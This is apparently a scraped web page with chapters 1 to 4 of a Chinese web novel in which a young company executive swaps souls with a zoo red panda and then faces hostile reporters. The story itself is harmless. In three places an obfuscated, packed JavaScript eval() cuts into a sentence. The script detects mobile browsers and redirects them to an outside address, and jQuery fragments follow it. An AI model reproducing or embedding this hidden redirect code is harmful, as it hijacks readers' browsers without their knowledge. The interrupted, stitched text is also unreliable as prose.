《糟糕！和小熊猫灵魂互换了》 1. 第 1 章 “太好了，我们总算赶到了。”一行三人气喘吁吁地停在一座高达三十楼的酒店门口，一个短发娃娃脸的女孩开心地对着旁边一袭长发，面容较好的女人说道。 程知玥把被风吹乱的头发理在耳后，她指了指门口旁边的展示板，示意开心的林思思冷静：“先别开心太早，接下来才是硬仗。” 站在程知玥旁边，唯一的男生邹瑞不安地捏紧了肩上的包，包里装着他们为此准备的成果。 “别紧张。”程知玥看穿了他的心思，笑了笑拍了拍他的肩膀，“我们能做的都做了，只需要好好展示就行了。” 邹瑞深吸一口气，再吐气时眼睛已经明亮起来：“知道了，程总。” “你看那人是谁？好像是程氏集团的千金诶。” “什么程氏集团，早就已经外强中干，实力大不如从前了。” “说得也是，以前的话，这种合作机会根本轮不到我们，现在好了，程氏还要跟我们抢呢。” “你们！”林思思愤怒地转过身瞪着背后说闲话的人。 但那几个人全当没有看到，笑嘻嘻地路过他们，甚至还在经过程知玥时，加大了笑声。 程知玥的脸色倒是完全没有变化，她看着那几个人的背影，淡淡地说道：“别气了，他们说的也是事实。” 林思思还是一脸愤愤不平，眼睛都要冒出火了。 “好了，别生气了。”程知玥忍不住捏了捏林思思的脸，软软的，还挺好玩，“等结束后，带你们去吃饭。” 说完，他们不再停留，大步迈入了酒店。 在阳光的照耀下，展示板上的字格外耀眼：《全球乐园A市合作会》请往15楼。 整个15楼被布置成大型的阶梯会场，可以容纳千人，现在已经是人山人海，不光是商家们在场，媒体也是来了几十家。但因为这次合作会的重要性，现场观众说话的声音都很小，只听得见台上汇报人的声音和台下审查员的声音，以及媒体们拍照的闪光声。 台上的主持人报幕：“接下来有请程氏集团。” 程知玥站了起来一步一步地迈向讲台，她面色沉稳，但心里却越发激动。终于，终于有个机会了，只要抓住这个机会，那么一定就能…… 诶？一瞬间的失重向程知玥袭来。黑暗中，她竟然没有看清脚下的阶梯，不慎踩空。 完了，这下完了。程知玥闭上了双眼…… 再睁开双眼时，眼前的陌生景色却让程知玥陷入迷茫。她不是应该在会场里面吗，怎么转眼就到了室外？她转了个头，看见的是不计其数的树枝，树枝上树叶繁密，还结着许多新芽。 这是什么情况？ 程知玥懵了，她似乎，好像，不对，就是在树上？！可是她怎么会在树上？！ 程知玥打了一个寒颤，却在下一刻，右脚再次不幸踩空。 失足摔死这种事情不要啊！她下意识地伸出手，去抓她踩着的树枝。还好，爪子足够锋利，牢牢地抓住了它。借着这股力，程知玥轻盈一跳，稳稳地落在树枝上。 ……嗯？爪子？ 程知玥惊恐地看向自己的手，原来一双细腻修长的手已经被一双毛茸茸黑漆漆的熊掌取代。她两眼一黑，但还是不放弃地打量自己的身体。她的肚子也黑黑的毛茸茸的，但尾巴却很漂亮，长长一条，橙红色的尾巴上有九道黑色的环。真是好漂亮啊。 她情不自禁地伸出爪，摸了摸自己的大尾巴，没有想象中的那么软，但浓密蓬松，摸起来真的好爽好舒服。 不对！现在不是感叹的时候。这下，哪怕没有镜子看不到脸，程知玥也确定了物种。 槽糕！她怎么变成小熊猫了？！ 万分惊恐中，程知玥不禁发出了惊叫，只是当传入耳朵时，声音却不是人类的嗓音，而是一种类似猪叫的声音。 这一定是做梦，程知玥闭上了双眼。她可是唯物主义者，这种怪力乱神的事情怎么可能发生，就算真的发生，也不可能发生在她身上。 只是再睁开眼时，这二十五年的信念还是崩塌了。她没有变回去，她还是一只小熊猫。 怎么会这样呢？程知玥急得在树枝上走来走去，树枝都发出了吱吱呀呀的声音。 冷静，一定要冷静！程知玥劝说着自己，但这种事情还是太匪夷所思了。她不禁想到了很多小说的设定，很多女主也是在原来的世界死亡之后，穿越到别的世界别人的身体。 难道说她死掉了吗？程知玥回想着，她记得她是踩空了之后才变成的小熊猫，不会是她踩空之后从楼梯上滚下去导致了她死亡吧。 怎么能这样呢，要死也得先让她拿下这场合作会再死吧。这场合作会她可是准备了很久，毕竟全球乐园可是个驰名世界的乐园，现在开在A市招商。他们程氏早就萧条了多年，全凭最初的玩偶制造业苦苦支撑，只要拿下玩偶这块的代理权，说不定他们就能再创辉煌。 不过现在说什么也没有用了，她已经变成了一只小熊猫。但是穿书小说那么多，穿成人的也那么多，为什么就只有她穿成了动物呢？ 程知玥忧郁地把身体蜷缩在一起，把脸埋进大尾巴里。 暖暖的，真舒服。 只是这样下去也不是办法，就算她原来的身体真的死掉了吧，她也不能维持现状一直当小熊猫啊。 “圈圈，圈圈……” 程知玥低头看去，她趴在三层楼高的树上，而树下一个穿着蓝色工作服，衣服上写着“绿野动物园”的男人正温柔地看着她的方向。 这个饲养员竟然这么帅气，她发誓，她从来没有见过这么好看的人。脸庞丰神俊秀，简直就像精雕玉琢的石像一样。鼻梁高挺，眼神温润如水，哪怕是一身工作服都掩盖不了出尘的气质。 只是他此刻，眉目间流露出一丝忧虑之色，似乎是在担心什么。 难道是在叫她吗？程知玥四处张望，这个时候她还蛮庆幸的，虽然她成了小熊猫，但视觉和思维之类的并没有跟着变。她的四周果然没有别的动物，而树下，在饲养员不远的地方，一群小熊猫已经聚在一起大快朵颐了。 原来是来叫她吃饭的。 这个时候，程知玥才觉察到肚子是有点饿了。不过，她看了看饲养员，又看了看树干却犯起了难。 树是小熊猫爬的，但下树却是要让她来做。可是怎么下树呢？ 在脑海里翻遍了所有的记忆，程知玥勉强记起，她曾经在某个视频中看到小熊猫是头朝下，一点一点抓着树皮走下去的。 程知玥试探着伸出了爪子，爪子锋利无比，利落地凿进了树皮里。但是看着树下，她还是哆嗦着收回了爪子，这也太可怕了，她从来没有恐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543766|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高症，但此刻，她却觉得这个距离比悬崖还要可怕。她都能想象出因为自己没有抓稳，结果一个不慎，头朝下不幸身亡了。 “圈圈，你怎么了，快下来吃饭啊。”饲养员还在坚持不懈地呼唤着。他哪里知道圈圈的内核已经变成了一个人类，正不知所措思考着如何下树。 要不还是屁股朝下吧，这样摔下去也是屁股着地，比头砸地安全许多。程知玥拿定了主意，只是正要行动时，却再次退缩了。 等等！那不对啊！先不说圈圈是不是雌性，她好歹是个女人啊，这样暴露隐私部位不好吧！ 一时间，程知玥在树上趴着，脑袋里却激烈地做着思想争斗。 从小到大，她的父母都严格地培养她，她也不负父母的期望，维持着优雅，骄傲地活着，深得他人信赖。而现在到了这个地步，她也不得不做出选择了。 程知玥心一横，头朝下，干脆利落地扒拉着树，缓缓地向下走。可是她却不知道她的行动都被饲养员和游客看在眼里。 在游客眼中，这只小熊猫可不是什么优雅地行走，而是一脸严肃，又笨拙又小心翼翼，然而前进甚微，更像是毛毛虫在蛄蛹，看上去别提有多可爱了。 走了不知道有多久，但脚下的树干越来越短了，胜利近在眼前。程知玥实在忍不住，她的神经崩了太久，压得她都快要喘不过气来。她算是知道这条毛茸茸的大尾巴到底有什么用处了，多亏了它，她才能勉强保住平衡。 只是她实在太累了。 程知玥停了下来，就喘口气，等顺完这口气她再继续行走。 她看着饲养员近在咫尺的脸愤愤不平，就那么一点距离了，明明他伸手就能把她抱下来，可是他却纹丝不动。 不过他还真是个耐心的人，都等了这么久了表情还是那么温柔。只是他的瞳孔怎么突然剧烈地收缩，甚至还伸着双臂往前走。 程知玥这才后知后觉，身体突然变得轻盈，仿佛在往下坠，而她的脚下什么触感都没有了。 诶诶诶？？？她这是坠树了吗？ 还来不及想太多，一个温暖的拥抱就包裹住了程知玥的身体。她惊魂未定地看着怀抱的主人，不出所料，果然是饲养员，他双唇紧张地抿着，一脸后怕，看上去也吓得不轻。 “没事吧？”饲养员仿佛看穿了她的不安，立刻切换好温柔的笑脸，甚至还安抚一般摸着她的头。 哇，虽然知道他很帅了，但露出笑容的他，简直是惊为天人，简直就像下凡的天使在散发着阳光。程知玥不禁看呆了。 饲养员弯下腰，把程知玥放在地上。他指了指小熊猫们聚集的地方：“走吧，吃饭去，就差你了。” 等走到了目的地，程知玥看着它们却陷入了沉思。 小熊猫们都蹲坐在由树木搭建的半米高的木台上，粗粗一数，加上她，大约有六只。它们的饭都用由一个跟他们脸盘一样大小的铝合金盆装的，每只小熊猫对应一个盆。他们排排坐着，面对着游客，狂炫食物。而几米外的游客们被石墙挡住只能露出半截身体观看着小熊猫们的举动。 饲养员把一个盆摆在了程知玥的面前，里面满满当当装满了食物，苹果片……还有不管是样子还是颜色都奇怪的窝窝头。 唉，程知玥长叹了一口气，大意了，她竟然忘了，吃饭这个严重的问题。 2. 第 2 章 “怎么了，胃口不好吗？”饲养员看着程知玥无动于衷，连动都不动一下，干脆把盆往她的方向移了移。 岂止是胃口不好，简直是难以下咽。除了苹果片，其他是人类可以直接吃的食物吗！ 饲养员眨了眨眼睛，不知怎么的，他感觉今天的圈圈怨气很大啊。 饲养员从饭盆里拿起一块苹果片，喂到程知玥的嘴边。苹果一直都是小熊猫最喜欢的水果，而圈圈更是喜欢得不得了。 程知玥撇过头，拒绝饲养员的投喂。开玩笑，她可是个成年人，哪里需要别人喂饭。但饲养员可不知道，在他眼里，这个小家伙好像闹脾气了，那就更需要小苹果的投喂了。 真是锲而不舍啊。不管程知玥头怎么偏，那块苹果片就一直驻在她的嘴边。 程知玥忍不住在心里翻了个白眼。但就在这一刻，她的肚子发出了饥饿的抗议。好吧，这也实在是没有办法。 她转过头，张开嘴，苹果片如愿进入到了嘴里。 第一次觉得苹果片这么好吃，也第一次觉得苹果片这么难吃。小熊猫的咬合力也太弱了吧，程知玥艰难地咀嚼着，她无比地怀念着人类的牙齿，至少不用那么努力。终于，她把苹果片嚼碎了，咽进肚子里。难以想象如果她一直保持这样的状态，说不定几天之后就要被饿死。 看程知玥总算开始吃饭了，饲养员欣慰一笑，这才放下心来。他还有其它小熊猫要照顾呢，总不能偏心它一只。 第一块苹果吃完了，但一块怎么能够，还不够塞牙缝的。 程知玥伸出了前爪，程知玥又收回了前爪。她看着自己的前爪，陷入了纠结。 下树、走路她都是学着小熊猫的样子，四肢着地。现在前爪虽然黑黑的看不出来，但可想而知上面都沾满了泥土和灰尘。这让她怎么下爪吃苹果片。然而饲养员已经去看别的小熊猫了，也不可能再把苹果片喂到她嘴边。 踌躇间，旁边一只小熊猫转过了身，直接把头埋进了程知玥的饭盆里。 程知玥睁大了双眼，它怎么还抢食呢！！！她看了看旁边的饭盆，里面已经空荡荡了，连残渣都被舔得一干二净，饭盆如崭新的一样。 真是能吃的小家伙，怪不得看上去挺肥美的，比她还要稍微大一圈，可爱。程知玥眯起眼睛，再一次被可爱迷住。 眼看着它已经吃第二块苹果片了，程知玥猛然甩了甩脑袋，好险，差点又被迷住了。她定睛一看，这小家伙吃就吃，怎么还光挑苹果吃呢，把苹果片吃了，她吃什么？ 程知玥急了，她再顾不得什么脸面，把头也埋进饭盆里，抢夺着里面的苹果片。 两只毛茸茸的小熊猫头挤在一个盆里，你挤我我挤你，互不相让。明明是争抢的画面，游客们却情不自禁地发出一片“可爱、真可爱、太可爱”的惊呼。 “胖胖，你怎么还抢圈圈的饭？”看了一圈，饲养员总算发现了这边的端倪，他夺过盆，把盆放在靠近程知玥的一侧。 胖胖？真是个符合它体型的名字。 眼看着那只贪吃的小熊猫又要凑过来，饲养员赶紧出手阻止，挡在了胖胖的脸前。本来圈圈就今天就不怎么开心，让它吃点喜欢吃的说不定能开心起来。再说，胖胖吃得也够多了。 然而胖胖哪里是那么容易死心的小熊猫，它拱着饲养员的手不断使劲想要冲破这层围堵，但饲养员也是跟它们斗智斗勇多年，早就有了经验，游刃有余地拦截。 眼看着突破不了，胖胖终于放弃了。自觉讨了个没趣，那只小熊猫干脆席地而坐，自顾自地开始舔毛洗脸。 真是主持正义的好人啊！程知玥守着盆里已经为数不多的苹果片感动。这下，她总算可以安心吃饭了。 ……才怪啦！ 怎么吃个饭还要被饲养员上下其手！光是咬个苹果的功夫，她的头、耳朵、前肢都被他摸了个遍，一点清净的空档都没有。 “怎么了，圈圈？” 程知玥咽下苹果，怒目圆睁。然而，做人的时候她这样的眼神确实有杀伤力，但做为小熊猫来说，就只是圆圆的眼睛呆呆地注视着饲养员，除了可爱，再没有其他形容词。 不过相处久了的饲养员还是能看穿小熊猫的情绪，他熟练地从饭盆里拾起一块苹果片，递到她的嘴上，口中也安抚着：“乖啦，只是例行的检查身体。” 好吧，检查身体，那也确实是应该的。 只不过！这是在检查哪里啊！程知玥炸毛了，就连嘴里的苹果片都因为震惊掉落在地。原本，她的尾巴一直垂在地上，突然尾巴被抬起，屁股一凉。 啊！程知玥发出一声尖叫，吓得饲养员都被怔在原地。 她转过身，根据惯性，她的尾巴也糊了饲养员一脸。这下她再顾不上吃饭了，抬腿就逃。 只剩饲养员在风中莫名其妙，只是例行检查到了□□，怎么这孩子今天反应这么大。不过小熊猫本来就是神经质动物，胆小得很，倒也不算太意外。看她这一路狂奔的样子，真是健康得很呢。 太可怕了！！！ 程知玥慌不择路，她跑过一条由树干搭成的小桥，爬上了树，趴在了一根树枝上。这根树枝足够粗壮，高度也适中，饲养员抬手够不到但下来也没那么可怕。 程知玥心还在狂跳，也不知道是因为刚才的惊吓还是一路狂奔所致。好半天，她的心跳才逐渐平稳，她耷拉着脑袋，思考着以后的能生。 这样下去不行啊，本来就只能吃苹果片呢，结果还有小熊猫抢食。这也就算了，但身体检查也太可怕了。她一定要想办法重新变人。 只是制定目标简单，执行起来却很困难，她根本找不到突破口。程知玥索性抬起身，观察起整个展区，或许这里能给她一点线索。 整个展区有两个标准足球场一样大小，背面靠座矮山，涓涓细流就从山上流下，在山脚形成一泊池塘。整个山脚就是动物们生活的地方，种着高大的乔木，低矮的树丛，三月正是万物生长，枝繁叶茂的时节，甚至都还能听见鸟叫，颇有种在野外大自然的感觉。正对面砌高了石墙，就好像整个山脚坐落在盆地里，而游客就在石墙外观看着动物们的活动。 吃完饭的小熊猫们也各自开展了活动，有的还没吃饱，跑到一边吃着新鲜的竹叶，有的在互相扑打玩闹，更多的还是跟她一样，在树上找了个位置舒舒服服地睡觉。 程知玥眼睛一亮，她突然想到一个可能，既然她穿成了小熊猫，那么她是不是也能跟小熊猫交流，说不定能找到线索。 说干就干，程知玥毫不犹豫地下了树。她观望了许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543767|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，要不就从那只吃竹叶的小熊猫入手。那只脸比较白，但又是浓眉大眼，一看就很好相处。 她蹑手蹑脚地走过去，做作地在它身边走了个圈。而那只小熊猫坐在草地上专注地吃着，一个眼神都没有给她。 怎么回事啊小老妹儿，程知玥不死心：“姐妹，理理我。”然而，声音发出来时俨然变成了小鸟叫。 那只小熊猫总算行动了，它看了程知玥一眼，漠然地转过身，就留了个肥美的背影给她，淡定地继续吃它的饭。 这么冷漠的吗？程知玥疑惑，只是她也无法判定究竟是这只小熊猫的性格是如此还是真的听不懂话。 程知玥又找准了旁边一只在啃草的小熊猫。这只小熊猫毛茸茸的，眼睛特别小，看上去就像没睡醒一样。 “兄弟？姐妹？”程知玥试探着在它的耳边打招呼。 然而它就像睡梦中被惊醒一样，甚至还被吓了个屁股蹲儿。它瘫坐在地，一脸警惕地看着她，就连嘴里的草都有一半露在外面。 “听不懂吗？”程知玥试探着向它走了一步。 这下，小眼睛的小熊猫后退了一步。眼看着她还要行动，它转个身，匆匆跑路，甚至因为害怕，跑路的样子格外滑稽，四肢都不同步，就像才组装好的一样。 这下，程知玥确定了答案。 不是吧，穿成小熊猫了也不能跟小熊猫沟通吗？程知玥破防了，然而游客们却开心得不得了。 “你听到了吗？小熊猫竟然叫了。” “竟然是小鸟叫。” “真是可爱的小夹子。” 唉，程知玥叹了一口气，这下线索断了。她无力地往回走，准备重新回到刚才的地方趴着思考接下来的方案。 然而转头，程知玥就对上了一个看上去像鹿但又不是鹿的动物。它睁着圆眼，深棕色的身体微微起伏，无声无息地俯看着她。 “是小麂！” “小熊猫跟小麂对上了。” “不会是要打架吧？” 嘶，程知玥倒吸一口凉气。怎么还有小麂啊！！！这个展区不是只属于小熊猫的吗，怎么还有其他动物？！ 但眼下也不是考虑这个问题的时候，程知玥看着小麂。虽然她的体型不如胖胖，但跟这只小麂比起来，小麂略高一点瘦一点，她矮一点但重一些，打起来的话，还真拿不准谁占上风。 可是说到打起来，她堂堂一个人类，跟一只动物打起来，传出去她的脸面往哪里搁。 想到这里，程知玥下定了决心。她慢慢地站起来，前肢也笔直地举到头顶。 “快看快看，小熊猫投降了。” “你懂什么，哪里是投降，它这么做只是为了让自己显得高大，好吓唬住对手。” “……可是好可爱。” 只有程知玥知道她有多么紧张，然而小麂也只是一直看着她，没有多余的动作。 这举了半天，程知玥的前肢都酸了。她实在忍不住，坐倒在地。 然而，这个时候，小麂却突然发起了攻击。 太过分了！不讲武德！丧心病狂！程知玥赶紧狂奔，任谁看见一只小麂向斗牛一样，埋头猛冲都会被吓一跳，更何况是已经变成了一只小熊猫的她。 “救命啊！！！” 3. 第 3 章 程知玥趴在树枝上惊魂未定，不住地喘息。她盯着树下的小麂，在刚才的狂奔中，她发挥出了小熊猫的优势，找到一颗乔木，快速地爬了上去。 小麂就算有这个心，也没有这个力。它在树下盯了她半响，最后也不得不放弃，遗憾离场。 好险，程知玥紧绷的身体总算可以放松下来，这一天天的，还真是什么都遇见了，小熊猫的生活这么刺激的吗？ 这一放松下来，前所未有的疲倦向程知玥袭来。她的视线变得模糊，精神也开始涣散，思考都变得迟缓。她努力地瞪大双眼想要摆脱睡意，但睡意哪里是这么容易克服的。不知不觉中，她头一歪，彻底进入了梦乡。 …… “程总，程总！” “程总……玥姐，你快醒醒！” “噗，想不到今天这一趟还有意外收获。” “可不是吗，快多拍点，趁她还没醒。” “真牛啊。在这样的场合都能睡着。” 好吵，游客们的声音怎么这么清晰，明明她睡的位置离游客们距离挺远，按理说应该听不见人声啊。而且其中怎么还有两个熟悉的声音，好像是她的部下，他们也来动物园了？ 程知玥猛地睁开眼睛，睡眼朦胧的她一下子看见了底下的两人，林思思和邹瑞他们站在最前面，一脸惊慌紧张。 程知玥瞬间清醒，狂喜，她终于变回人了！ ——呃，要不，还是一直让她做小熊猫吧。 程知玥的笑容僵在脸上，为什么林思思和邹瑞旁边、后面有那么多人啊，甚至还有举着摄像机和话筒的媒体，会场里的人不说全部，大部分都聚在这里了，应该有几百号人吧。他们都不约而同地抬头看着她，表情各异，讥笑、不解、担忧等等，总之精彩得很。 完了，程知玥机械地扭头左看一眼，又扭头右看一眼，果然，又是熟悉的树枝，这种醒来在树上的感觉还真是亲切啊。唯一庆幸的是这次醒来不是在三层楼高的树上。 “程总，还不下来吗？”邹瑞小心地提醒。虽然不知道程知玥突然发生什么事情了，但已经闹了这么大一出，也该解决了。 然而他的担忧却是媒体的喜闻乐见，虽然全球乐园A市的合作会是个大新闻，但终究是个严肃的新闻，除了商家以外少有人在意。但本来严肃的会场出了这么离谱的事情，不管是刊登在报，还是网上发表，一定可以吸引大量流量。 于是，最前面拿着话筒的男人发问了：“据我所知，您是程氏集团的新任总经理吧。今天在全球乐园A市合作会的现场，你爬树并且在树上睡觉是为了博出位吗？” 还没有等程知玥回答，男人旁边的女人就忍不住了，她看上去好像是另外一家媒体。“你做这出是为了吸引审查员的注意还是想破坏这次活动？” 一时间，现场也熙熙攘攘起来，都有着问题想要问她。 呵，程知玥冷笑，她深知越是这个时候越不能退缩。她索性换了一个姿势，像坐秋千一样坐在树上。这个位置并没有特别高，她微微弯腰伸出了手，刚才提问的女人微微一愣，却也看懂了意思，把话筒递到她的手中。 接过了话筒，程知玥气定神闲地重新在树上坐好。 她环视了周围一圈，她已经明白了一件可怕的事，她不只是穿成了小熊猫，而是短暂地和那只叫做圈圈的小熊猫灵魂互换了，契机不知道，但穿的时间就是在她不慎踩空的时刻。 穿成程知玥的圈圈一下子到了陌生的环境，而且又是那么多人，自然被吓得不轻。惶恐之中，它跑出了会场，会场外刚好有提供给开会人员们放松心情的花园。因此，它跑到树上，可能是累了，就陷入了睡眠。 事情就是这么简单，但却留下了一堆烂摊子。现在也不用想能不能拿下合作会了，毕竟轮到她们展示时，她就穿了。远方有一个大钟，显示着时间已经到五点，距离她穿的时间已经过了一个小时。而林思思和邹瑞她也了解他们是不能扛大旗的人，这一个小时毫无疑问他们也浪费了。 不过那已经不重要了，现在最大的难题是如何应对这群难缠的媒体。 程知玥眼睛一眨，一个主意上了心头。她露出一个和煦的微笑看着先提问的男人：“没错，就是为了博出位。” 这下，现场哗然，所有人你看着我我看着你，面面相觑，就连问问题的男人都一脸不可置信。他满怀恶意的提问，她却承认了，这不禁令他好奇起来。 “但是——”程知玥话锋一转，她的目光从前排的人扫向后排：“我的行为跟本次活动无关。” “什么意思？”男人紧紧追问。 “我此举不是为了吸引审查员的注意，更不是想破坏这次活动。”程知玥把刚才她咄咄逼人的提问解答了一遍。 “不会是犯病了吧？”人群中，不知道哪个方向传来一个大声的嬉笑。听到他这话的人，都不禁哄堂大笑。 “我觉得可能是梦游。”一个男人嬉笑着接过了话头。 “不不不，应该是昨晚喝多了，还没有酒醒。” 然而程知玥没有理会这些嘲讽，这些类似的嘲讽她早已经听过太多，现在这样的完全没有杀伤力。再说她接下来马上就要胡说八道了。但这又怎么样，就是胡说也要说得理直气壮，气势汹汹。 程知玥换了一只手拿着话筒，表情自信，声音也是充满着真诚：“我相信在场的大部分商家和媒体朋友们都知道，我们程氏是以玩偶为起点，发展到了现在。玩偶制造是我们不可或缺的一部分。” “最近，我们程氏即将推出一款新的动物玩偶，而我刚才就是在模拟该动物的行为轨迹。只有了解该动物，我们才能制作出与该动物高度相似的玩偶。” 此话一出，现场陷入了静默，台下的所有人都呆滞地看着程知玥，他们简直不敢相信自己的耳朵。 数秒后—— “果然是疯了吧。” “第一次听说制作动物玩偶还要模拟它的行动的，程氏果然不行了，新的接班人脑子有问题。” “我可不觉得是脑子有问题，正是因为程氏已经日薄西山，这次合作会也搭不上线，还不如采取这种行动赚取眼球，毕竟黑红也是红嘛。” 整个现场仿佛炸开了锅，各个方向都传来了议论声。 就连邹瑞都露出一副“你要不要看看你在说什么”的表情，而旁边的林思思却低着头专心记录程知玥刚才的话，那专注的模样不免让她心虚，她信手拈来的胡说八道只是为了解决圈圈留给她的烂摊子，她自己都不相信，林思思却信了。 第二排戴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543768|171112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼镜的男记者忍着笑，但表情明显带着嘲弄：“那程总模拟的是什么动物呢？看上去像是树袋熊又像是小熊猫。玩偶又什么时候上线呢？” “感谢你的关注。”程知玥正经地点点头，“至于是什么玩偶，暂且需要保密。什么时候上线嘛，敬请关注程氏官网。” “噗，还保密。” “就一破玩偶还神秘兮兮的，果然有病。” “这一看就什么都没有准备嘛，还真是会一本正经地胡说八道啊。” 一个扎着马尾的女人在一片混乱中挤到了前排，她举着话筒：“既然程氏报名参加了合作会，肯定也是想拿到代理权，那么为什么又在即将上台展示的时候突然跑出来？” 因为这个时候和小熊猫灵魂互换了，程知玥面无表情地内心吐槽。 另外一个戴着金链子的男人也接着提问：“是因为知道拿不到代理权，所以才选择在这个瞩目的时候宣布自家产品吗？” “是这样的吗？”刚才提问的女人继续追问，“所以想用这种方式抢到风头，直接对全球乐园宣战吗？” 很好，都不需要她回答了，他们都已经完成了用问题回答问题，用自己的逻辑脑补答案。 “不不不，你们误会了。”程知玥抿嘴一笑，这种应对官方的假笑她可是驾轻就熟。 “全球乐园的代理权我们当然也想争取，毕竟能和这么有名的乐园合作，这是每个商家都梦寐以求的事情。但作为玩偶界的领头，我们也希望这个行业能蓬勃发展，让更多的企业加入进来。所以我们愿意让出这个机会。” “同时，我们在这里官宣新的玩偶，确实也是想借助全球乐园本次合作会的辉煌，宣传自家的新产品。在此，我们也希望本次拿到代理权的商家也能和我们一样生产出好的产品，不辜负全球乐园，以及A市市民的信任。” 是、是这样的吗？林思思愣神，但眨眼间眼神目光灼灼，崇拜地看着程知玥。就连一些媒体一时间都被唬得一愣一愣的，不禁有点相信她说的话了。 程知玥眯起眼睛，她注意到人群外一个男人远远地看着她，虽然是剑眉星目的帅气模样，但表情轻蔑。在两人目光交汇时，那个男人冷哼一声，转身就走。 程知玥不动声色地收回视线，她记得那个男人是林氏集团的接班人。林氏集团近几年风头正盛，有传言说他们想靠这次合作会抢夺全球乐园玩偶的代理权，进而占领制造业。今天他们出现在这里，看来传言是真的。 “接下来没有什么问题的，我们就先离开了。”程知玥点点头，跳下树。姿势优雅，甚至于都没有一点晃动。她招呼着林思思和邹瑞，不慌不忙地离开了会场。而商家和媒体们都恍惚着，久久没有回过神来。 走到室外，程知玥这才打开手机。为了本次合作会，她一直关机。现在开机了，一时间许许多多的未接来电和短信，微信视频、留言都像雪花一样传递到了手机上。 “……程总。”身后，传来林思思带着哭腔的声音，她拿着手机欲哭无泪。 程知玥接过手机。 《震惊！程氏集团接班人竟做出这种举动！》 《上树睡觉！大闹会场！还有什么是她做不出来的！？》 《程氏不行了！？原因原来是她！》 4. 第 4 章 “你都干了什么？我把程氏交给你，你就是这么做的？”电话那头，传来程父程功的怒吼声。 “是，这次是我不好。”程知玥按着太阳穴疲惫地回答。 今天发生了太多事，她处理得已经焦头烂额了。她本来也不指望媒体们能完全相信她的鬼话，但是这传播速度还是出乎程知玥的意料。 这不，刚从会场离开，程知玥打车回到自己的住宅，就接到了父亲的电话。程攻的声音怒气冲冲，听得她耳膜都要炸了。 “你看看你什么样子！竟然大庭广众之下爬树，还在树上睡着了。真是丢尽我的脸。” 程知玥不语，她也确实没有办法解释，毕竟这个世界谁会相信人和小熊猫会灵魂互换。 见程知玥没有说话，程功的怒气更盛了：“早知道两个月前就不应该让你回来接手家里的事务，看看你都在国外学了什么。好的不学，尽学坏的。今天上树睡觉，明天是不是要造反了！” 程功越说越生气，大有一种要透过电话线来打人的架势。 不提还好，一提程知玥也窝火。明明集团经营得好好的，欣欣向荣稳步发展，如果不出意外的话，过几年都能开展海外的业务了。但是程功却在五年前突然要开展一个新项目，结果几年之间项目没有进展，反而是把集团给拖垮了。到后面，实在是坚持不下去了，就把在国外读书的她给叫回去收拾烂摊子，而程功自己美美隐退。 但是走到这一步，集团的资产已经大幅缩水，员工都裁减了大半，剩下的人也惶恐不安，唯恐接下来被裁员的就是自己。 程知玥接任集团的第一件事，就是叫停那个一直没有进展的项目，重新分配员工的工作，安抚人心。还好，她们家玩偶的项目还没被程功嚯嚯到，线下她也只有保住这块优势项目。 但毕竟才两个月，集团又被拖累太久，想要重振实在是太过艰难。因此她才想要拿到全球乐园A市玩偶的代理权，从而重新开始，再创辉煌。但她也知道，拿下代理权绝不是这么容易的事情。世界发展太快，五年能改变许多。 因此她收集了全球乐园的资料，整理了自家产品的优势，又分析了市场等等，做了那么多准备，哪怕拿不下，也绝对不留下遗憾。 但这一切，都因为一场意外毁了。她能不生气不伤心吗，最难过的就是她了。 可是造成这一切根源的人却理所当然地指责她。 尽管生气，但程知玥还是努力地平复着怒气。因为她没有立场，她没有身份来指责。她所有的一切，都是程家给与的。 “……抱歉。” “光是道歉就能解决事情吗！接下来你怎么做？” 好烦，真的好烦，偏偏又不能发火，郁结的情绪在程知玥的胸口翻涌。她强压着怒气，做着保证：“请您放心，我会处理好的。” “怎么处理你倒是说啊。” 程知玥不耐地走到阳台，感受着窗外的冷空气，物理办法让发热的头脑冷静下来。 “我自有我的办法。” “哼。”电话那头，程功冷哼一声，也不再追问了。他废话再也不说，干脆利落地挂断了。 唉，程知玥长叹一口气，更觉苦闷。什么自有办法啊，她根本就只是逞强。她下午说的真的只是胡扯，根本也没有实现它的打算，毕竟就靠一个新产品就能打动顾客，实现集团的复兴，未免也太过天方夜谭。 “叮叮叮……” 电话再次响起，程知玥拿起手机，屏幕上显示的名字让她不禁正襟危坐。 “后天你回来一趟，有事找你。” “好的，母亲。” 电话再次挂断，程知玥也同时松了口气，但失落也涌上了心头。还真是一点都不关心她啊，从小到大，都是这样。 